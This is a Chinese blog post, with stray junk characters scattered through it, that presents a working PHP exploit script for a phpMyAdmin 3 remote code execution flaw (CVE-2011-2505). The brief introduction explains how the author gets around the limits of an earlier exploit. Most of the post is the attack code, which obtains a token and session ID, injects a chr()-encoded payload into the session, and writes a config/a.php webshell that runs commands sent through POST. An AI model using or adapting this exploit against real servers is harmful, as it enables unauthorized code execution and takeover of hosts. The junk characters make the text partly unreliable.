最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
% I% B/ ]# c5 \4 ^4 b" N& A1 Y- B& M
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。% A( L# |0 |' \( l& f( |' S1 ~
' R4 h# G, A8 ~$ n$ K6 A) H首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:( d$ i3 u* [* M; G1 E/ |1 D6 K8 [+ L
一是session.auto_start = 1;
( l5 X) f( `% T, K, n" L2 @二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
7 f. d$ n6 U$ ^7 r当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。# M0 C0 M) F6 F
' z5 p9 J. h' W- {7 u' ^9 `# _在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。% h X6 q$ Z" g- t- q
( D; ~8 y+ i; @$ N( ^. R" ~9 s# W
于是写了这个php版本的exp,代码如下:2 S/ R- B& g- [9 \
& }1 ^ J+ S- ^5 d2 P) S9 E' \
#!/usr/bin/php2 t+ w0 ^+ _' v7 a7 n
<?php8 p) z: E& L( n, o; f" I# r( A
print_r('! B3 ]1 }# M1 M; x2 ]
+---------------------------------------------------------------------------+- g! U, `* G$ ]/ q
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
% m7 `( ]& g3 k- J d+ uby oldjun(www.oldjun.com)
, [+ t3 p1 q2 X" Awelcome to www.t00ls.net
% F- g0 Y5 _; ^ z% o4 {$ E) Gmail: oldjun@gmail.com; ~7 Z( f1 p. d2 }" w
Assigned CVE id: CVE-2011-2505
2 o1 W/ x+ V8 p/ G. f; [) |1 y/ f+---------------------------------------------------------------------------+6 [( Q( }( j, g8 G. U ]' D
');
% W- l3 d* O( U( J" p: g
( F; J& ^% K% B6 o, A/**
9 Y* ^6 y6 U( J9 Y" g u * working when the directory:"config" exists and is writeable.
s; [3 p2 {1 j; h**/
% A, H* B+ R6 \" I+ R 9 ~8 ~+ }9 h5 u) Z N$ S/ ^5 q! @
if ($argc < 3) {; z- f3 i! S! v& D0 S: c, D
print_r('
, t: u' |& x- S1 ]& y9 u+---------------------------------------------------------------------------+* u, R. E. `; N l" t7 Z
Usage: php '.$argv[0].' host path( k& {4 X' v2 j0 C6 z, m
host: target server (ip/hostname)- y! d/ I. V7 ]3 z7 H0 O2 s2 z
path: path to pma3
. f! y* g1 X; N' {- KExample:
+ r5 [. Y1 ]& {! h1 B, K* ]php '.$argv[0].' localhost /pma/
* ]' w+ v. o' x M* b1 M* _9 H+---------------------------------------------------------------------------+
5 C+ ]0 T2 R! O# s8 `8 i');
- E' @" c8 Q) n ^# U: P; c3 I/ Z exit;
4 Y5 L/ M0 ^ X7 R) r}- y; Z$ R$ s+ Q1 h0 ]) a
7 Y6 ~: D( R3 o, S' A, s. {+ x: P& b
$host = $argv[1];
4 R8 [- D: O" U, P; x$path = $argv[2];
* j0 ~+ r, D$ z) B/ \6 j3 P9 i) D* [9 C) T% Y1 Y
/**
: p$ W$ Y7 L- d2 F& J * Try to determine if the directory:"config" exists
: [( r" W0 f0 G# e# G' p**/- P/ s! T" x! W+ { f
echo "[+] Try to determine if the directory:config exists....\n";
( E8 J# b/ G. f8 i4 h9 P( w- U- y+ a$returnstr=php_request('config/');
. a7 D* V+ s% P- w; eif(strpos($returnstr,'404')){
: X/ G1 Z7 S8 M/ A% x exit("[-] Exploit Failed! The directory:config do not exists!\n");
- M6 o/ _: V( C3 _: N/ I}
$ {' q9 }$ r& n, r) E) U% Q u, a! ]" i7 f
/**$ N/ S- W% V6 U* }( x) ~' i! ]
* Try to get token and sessionid% j/ E- _3 B( C9 S( y
**/8 P7 ]( Y7 D3 z( v, L
echo "[+] Try to get token and sessionid....\n";
% V: T. R8 g$ W" k6 T4 g0 e, W1 [$result=php_request('index.php');
7 X2 W1 A* l s6 G5 `7 lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);3 Y6 [) Q: |% D5 t$ L
$token=$resp[3];
0 k, _ t" Y* c3 B! ^, B; w$sessionid=$resp[1];
4 r% g) K' D: W3 q+ kif($token && $sessionid){9 e; {( q0 r1 i& Y) z* h) v
echo "[+] token token\n";
2 z* U! N `# e! X" P echo "[+] Session ID sessionid\n";
/ s( V3 `2 H" M [& I* A% ?' U( Y- y}else{
* L( \4 ^* O" N3 k exit("[-] Can't get token and Session ID,Exploit Failed!\n");/ g: v6 K0 c9 H5 }
}
|1 G" b8 Y+ _' b
4 p5 B4 z$ g/ y0 b4 A8 c/**$ y5 B3 n6 L) m% t1 m0 Z
* Try to insert shell into session/ w3 s# [0 C' q& X, ` C. K) E
**/
' K* y7 V# ?: F/ ], Becho "[+] Try to insert shell into session....\n";
4 Y' s: C) a( b2 \7 hphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.( N4 _9 ^3 A, J7 r6 [
i8 ~$ ]; o3 j* i; R( g/ R& @
/**) N4 j# b6 u! Z+ n9 i; s
* Try to create webshell9 F. D7 e- V6 F7 W
**/7 P1 M1 _' N! d9 C# Q
echo "[+] Try to create webshell....\n";
- @8 V2 b$ P% C" Q3 a' wphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);+ p! z; i+ R9 a1 C8 P* b0 z+ i
/**) I. B- q4 t3 T* r2 Q% Q
* Try to check if the webshell was created successfully
. |3 x+ K& s, b' Q+ K$ k1 a**/
8 `: @+ T: N) `; h3 W3 W& fecho "[+] Try to check if the webshell was created successfully....\n";7 W& r( ?3 q% a7 Z1 T4 D" P
$content=php_request('config/config.inc.php');/ O/ Z1 H# Z2 }$ p, Z! V" ~
if(strpos($content,'t00ls')){2 ~0 d$ ]0 u4 V+ d' O1 {
echo "[+] Congratulations! Expoilt successfully....\n";
0 Q) I: p" Z+ F3 N! V$ r echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
1 M8 j8 d$ J, U( R}else{3 }$ M F# a: e; I8 o# x7 M* i
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");; i3 k% I$ A0 o3 m! \- p
}9 A8 ~. H; n( t* f- ?
6 Q. i+ o7 O% w; A$ b, k: I
function php_request($url,$data='',$cookie=''){
; Q, k6 M. h# V, E- K global $host, $path;3 i7 Q3 [ O, b0 X$ x" s- L% W' ]+ R
/ ?7 e) A& L8 N7 }5 h2 { $method=$data?'POST':'GET';
* x6 z% _$ S2 o9 P0 \- z
' |- i* W! E/ ~" L $packet = $method." ".$path.$url." HTTP/1.1\r\n";
; C2 A2 |9 m) T, G5 e $packet .= "Accept: */*\r\n";/ w& N5 {. `7 n6 |9 Y9 k
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";& s( G3 D, ~1 f! O" a
$packet .= "Host: $host\r\n";
9 a3 I4 v; y0 S4 x( i s7 P2 O $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";1 h% d+ ~4 s/ E) w5 o
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
* f9 a" @6 ~% C- \3 R% |! Y- ] $packet .= $cookie?"Cookie: $cookie\r\n":"";
7 R; O, m- m2 W0 S# c $packet .= "Connection: Close\r\n\r\n";
1 O P% U4 p- D+ _ $packet .= $data?$data:"";# b. u3 M, ^+ j3 n* N: K5 O5 X
; ^. B% K& x2 u& E$ k6 \1 a7 r b; E
$fp = fsockopen(gethostbyname($host), 80);
4 | D( \) [, ~% J" _! r if (!$fp) {, a# f9 m1 ^8 Q5 r
echo 'No response from '.$host; die;1 n' ~6 t& w& z0 S- M
}
0 z' P) Y- ]& q8 ~1 c' U. X! i0 w6 N9 R fputs($fp, $packet);! d6 V- i& E! X% `% S
# h5 }. d) {8 v0 L1 e
$resp = '';
: `/ r& i. I. h, x o$ f
/ C! m9 S: W+ {+ t) A: @3 B G while ($fp && !feof($fp))
+ \, x# i% q a $resp .= fread($fp, 1024);; u3 d# E$ r% E6 P% u1 @* C6 q4 p
' J( r4 [& b5 x, w2 P4 ` return $resp;/ o, C1 j' Y5 V5 k9 F. k
}
3 I3 S/ P# A$ C1 h* @6 I0 P
- E1 P$ E1 @7 f+ o1 r+ G?> ; W! w' l& o1 Q- j# |
. |